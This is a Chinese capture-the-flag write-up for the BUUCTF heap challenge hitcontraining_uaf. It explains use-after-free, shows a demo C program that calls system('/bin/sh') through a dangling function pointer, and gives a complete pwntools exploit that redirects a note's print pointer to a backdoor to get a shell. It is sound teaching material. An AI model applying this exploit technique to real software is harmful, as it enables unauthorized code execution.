[BUUCTF-Pwn]hitcontraining_uaf

以此题作为对Pwn中堆利用的学习的开始。堆题初见,肯定有许多地方理解不恰当,希望师傅们能多多指教。

0x00.简述

成因

  1. 应用程序调用free()释放内存时,如果内存块小于256kbdlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kbdlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存大于256kbdlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。

示例程序

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. typedef void (*func_ptr)(char *);
  4. void evil_fuc(char command[])
  5. {
  6. system(command);
  7. }
  8. void echo(char content[])
  9. {
  10. printf("%s",content);
  11. }
  12. int main()
  13. {
  14. func_ptr *p1=(func_ptr*)malloc(4*sizeof(int));
  15. printf("malloc addr: %p\n",p1);
  16. p1[3]=echo;
  17. p1[3]("hello world\n");
  18. free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针
  19. p1[3]("hello again\n"); //p1指针未被置空,虽然free了,但仍可使用.
  20. func_ptr *p2=(func_ptr*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来.
  21. printf("malloc addr: %p\n",p2);
  22. printf("malloc addr: %p\n",p1);//p2与p1指针指向的内存为同一地址
  23. p2[3]=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针.
  24. p1[3]("/bin/sh");
  25. return 0;
  26. }

运行结果

0x01.检查保护

0x02.静态分析

经典菜单题,进入add_note函数查看,一次只能add一个结点,最多add5个

容易观察到notelist其实是一个结构体数组,大小为8个字节,其第一个成员为函数指针(4字节),指向print_note_content函数,其第二个成员也为一个指针(4字节),指向后续malloc指定大小的空间,因此在ida中的Structures窗口添加如下结构体定义

将notelist的类型声明改为如下所示

优化效果:

再看del_note函数,作用是删除指定下标的结点

未将指针置空,存在uaf漏洞

print_note函数,打印指定下标的结构体中buf的内容

在这个函数中会执行notelist结构体中第一个指针指向的函数,我们如果能把指针改为指向system("/bin/sh")函数,就能获得权限

后门:

0x03.动态调试

我们申请了两个结构体

堆中情况如下:

释放:

堆中:

bins:

0x04.思路

可以看到其实free过后只是更改了fd处的四个字节(插入到fastbin链表中),并没有”真正的释放“

本来,在buf(size为0x41的堆块)中fd对应的四个字节其实就是用户输入的内容的前四个字节,在指针型结构体(size为0x17的堆块)中fd对应的是print指针,即print_note_content函数的地址。现在,free过后,他们都被更改。

此时如果我们再申请一个结构体并在其内部给buf分配8字节的堆空间,就会用到fastbins中大小为0x10的两个堆

fastbin先进后出,所以原来的1号堆对应现在的指针型结构体,0号堆对应现在的buf,由于我们现在可以向buf中写东西,所以如果我们向buf中前四个字节处(也就是fd处)写入magic函数的地址,再次调用print函数尝试输出0号堆的内容时,它以为前四个字节(fd处的四个字节)是print_note_content函数的地址,而实际是magic函数的地址,所以执行的是magic函数,也就是system("/bin/sh")

简单说来,就是我们在最后print的是编号为0的堆块,它虽然已经被free掉了,但是指向它的指针没有置为null,指针仍然指向它,那么我们再通过该指针来调用它的时候,就会调用magic函数

0x05.exp

exp如下:

  1. from pwn import *
  2. context(arch = 'i386', os = 'linux', log_level = 'debug')
  3. p = process('./hacknote')
  4. def addnote(size, content):
  5. p.recvuntil("choice :")
  6. p.sendline("1")
  7. p.recvuntil(":")
  8. p.sendline(str(size))
  9. p.recvuntil(":")
  10. p.sendline(content)
  11. def delnote(index):
  12. p.recvuntil("choice :")
  13. p.sendline("2")
  14. p.recvuntil(":")
  15. p.sendline(str(index))
  16. def printnote(index):
  17. p.recvuntil("choice :")
  18. p.sendline("3")
  19. p.recvuntil(":")
  20. p.sendline(str(index))
  21. #gdb.attach(p)
  22. magic_addr = 0x08048945
  23. addnote(0x30, 'aaaa')
  24. addnote(0x30, 'bbbb')
  25. delnote(0)
  26. delnote(1)
  27. addnote(8, p32(magic_addr))
  28. printnote(0)
  29. p.interactive()

[BUUCTF-Pwn]hitcontraining_uaf的更多相关文章

  1. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  2. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  3. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  4. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  5. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  6. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  7. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  8. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

  9. [BUUCTF]PWN——mrctf2020_easyoverflow

    mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...

  10. [BUUCTF]PWN——0ctf_2017_babyheap

    0ctf_2017_babyheap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,经典的堆题的菜单 main函数 add() edit() delete() show ...

随机推荐

  1. ZooKeeper 的选举机制,你了解多少?

    本文作者:HelloGitHub-老荀 Hi,这里是 HelloGitHub 推出的 HelloZooKeeper 系列,免费开源.有趣.入门级的 ZooKeeper 教程,面向有编程基础的新手. 项 ...

  2. CF533F Encoding 题解

    题目链接CF533F Encoding 提示1:   \(\mathcal O(26^2*n)\) 的算法可通过.常用的几种字符串匹配算法kmp,AC自动机,哈希都可以解决该问题 (后两者可以优化到 ...

  3. 「视频小课堂」Logstash如何成为镇得住场面的数据管道(文字版)

    视频地址 B站视频地址:Logstash如何成为镇得住场面的数据管道 公众号视频地址:Logstash如何成为镇得住场面的数据管道 知乎视频地址:Logstash如何成为镇得住场面的数据管道 内容 首 ...

  4. 题解 洛谷P1990 覆盖墙壁

    DP康复训练题 原题:洛谷P1990 核心:递推/DP 题源应该是铺地砖,所以采用一摸一样的思路,只是有两种不同的方块 我们先用最最简单的方式尝试一下枚举当最后一行被填满的情况: 1.如果我们只用第一 ...

  5. CCPC-2020 黑龙江省赛——Let’s Get Married

    题意:~~ 思路:题目给出的数字太少了,我们多写几个,就会发现每层最左边的值等于1.2*k(k+1) ,k代表层数,找规律发现如果一个点的坐标为2.(x,y)且|a|+|b|=k,id<=2*k ...

  6. C# - 实现类型的比较

    IComparable<T> .NET 里,IComparable<T>是用来作比较的最常用接口. 如果某个类型的实例需要与该类型的其它实例进行比较或者排序的话,那么该类型就可 ...

  7. [Fundamental of Power Electronics]-PART I-2.稳态变换器原理分析-2.3 Boost 变换器实例

    2.3 Boost 变换器实例 图2.13(a)所示的Boost变换器器是另一个众所周知的开关模式变换器,其能够产生幅值大于直流输入电压的直流输出电压.图2.13(b)给出了使用MOSFET和二极管的 ...

  8. OGG-Oracle 集成模式抽取进程,REGISTER DATABASE都做了什么?

    一.学习目标 有同事问OGG技术问题,OGG软件,在oracle数据库中,集成模式抽取进程REGISTER DATABASE,都做了什么操作? 有什么风险? 并且提到了一个抽取进程注册,在瞬时间并发占 ...

  9. 华为分析+App Linking:一站式解决拉新、留存、促活难

    移动互联网时代,用户注意力稀缺,"如何让用户一键直达APP特定页面"越来越受到产品和运营同学的关注. 比如在各个渠道投放了APP安装广告,希望新用户下载APP首次打开时直接进入活动 ...

  10. Circular Sequence UVA - 1584

    ​ Some DNA sequences exist in circular forms as in the following figure, which shows a circular sequ ...